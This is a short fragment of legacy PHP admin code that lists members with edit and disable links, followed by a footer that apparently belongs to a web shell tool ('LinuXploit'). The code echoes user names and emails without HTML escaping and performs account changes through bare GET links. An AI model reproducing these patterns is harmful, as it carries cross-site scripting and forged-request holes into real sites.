    while ($row = mysql_fetch_array($result)) {

	$date = date("m-d-Y", strtotime($row['join_date']));


echo "<td width=75 bgcolor=#CCCCCC><div align=center><a href=users.php?edit=yes&id=" . $row['member_id'] . ">EDIT</a></div></td>";
if ($row['confirmed'] == 1) {
echo "<td width=125 bgcolor=#CCCCCC><div align=center><a href=users.php?delete=yes&id=" . $row['member_id'] . ">DISABLE</a></div></td>";
} else {
echo "<td width=125 bgcolor=#CCCCCC><div align=center><a href=users.php?delete=yes&id=" . $row['member_id'] . ">RE-ENABLE or CONFIRM</a></div></td>";
}
echo "<td bgcolor=#E6E6E6>" . $date . "</td>";
echo "<td bgcolor=#E6E6E6>" .stripslashes($row['display_name']) . "</td>";
echo "<td bgcolor=#E6E6E6>" .stripslashes($row['email']);
echo "</td></tr>";

} 
    echo "</table></td></tr></table>";
} 

Youez - 2016 - github.com/yon3zu
LinuXploit